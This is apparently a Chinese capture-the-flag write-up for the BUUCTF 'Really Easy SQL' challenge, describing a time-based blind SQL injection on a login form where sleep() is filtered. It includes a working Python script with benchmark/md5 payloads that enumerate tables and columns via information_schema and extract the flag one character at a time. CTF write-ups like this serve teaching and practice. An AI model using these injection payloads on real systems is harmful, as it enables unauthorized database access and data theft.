【BUU】[Dest0g3 520迎新赛]Really Easy SQL

2024/8/14

[Dest0g3 520迎新赛]Really Easy SQL

题目标题说明是SQL注入

题目首页

页面title显示是钓鱼站点。

钓鱼站点主要为将我们的输入信息保存在数据库。后台应该是插入语句。

这里无论输入什么都显示密码错误, 只能尝试盲注,基于时间的盲注,

这里经过测试payload如下,

然后写脚本内容如下

python 复制代码
import requests
import time
from urllib.parse import urlencode

url="http://c3a1a543-3a1c-4f1c-9e6b-1fd5fcf8b280.node5.buuoj.cn:81/"
flag=''
for i in range(1,44):
    for j in range(40,137):
        #payload="0'or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #flaggg,user
        #payload="0'or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #cmd
        payload="0'or(if((ascii(mid((select(cmd)from(flaggg)),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j)
        data={
        'username': 'a',
        'password': payload
        }
        print(data)
        try:
           r = requests.post(url=url,data=data,timeout=0.2)
        except:
           flag += chr(j)
           print(flag)
           break
        
        time.sleep(0.2)
    time.sleep(1)

跑到flag。这道题目挺花时间的,主要在于sleep()函数被过滤了.如果在测试的过程中没有意识到这个问题,那么就会花费大量的时间。

成功解答

相关推荐
可涵不会debug3 小时前
【IoTDB】时序数据库选型指南:工业大数据场景下的技术突围
数据库·时序数据库
ByteBlossom3 小时前
MySQL 面试场景题之如何处理 BLOB 和CLOB 数据类型?
数据库·mysql·面试
麦兜*3 小时前
MongoDB Atlas 云数据库实战:从零搭建全球多节点集群
java·数据库·spring boot·mongodb·spring·spring cloud
Slaughter信仰3 小时前
深入理解Java虚拟机:JVM高级特性与最佳实践(第3版)第十章知识点问答(10题)
java·jvm·数据库
麦兜*4 小时前
MongoDB 在物联网(IoT)中的应用:海量时序数据处理方案
java·数据库·spring boot·物联网·mongodb·spring
-Xie-4 小时前
Mysql杂志(十六)——缓存池
数据库·mysql·缓存
七夜zippoe4 小时前
缓存与数据库一致性实战手册:从故障修复到架构演进
数据库·缓存·架构
一个天蝎座 白勺 程序猿5 小时前
Apache IoTDB(5):深度解析时序数据库 IoTDB 在 AINode 模式单机和集群的部署与实践
数据库·apache·时序数据库·iotdb·ainode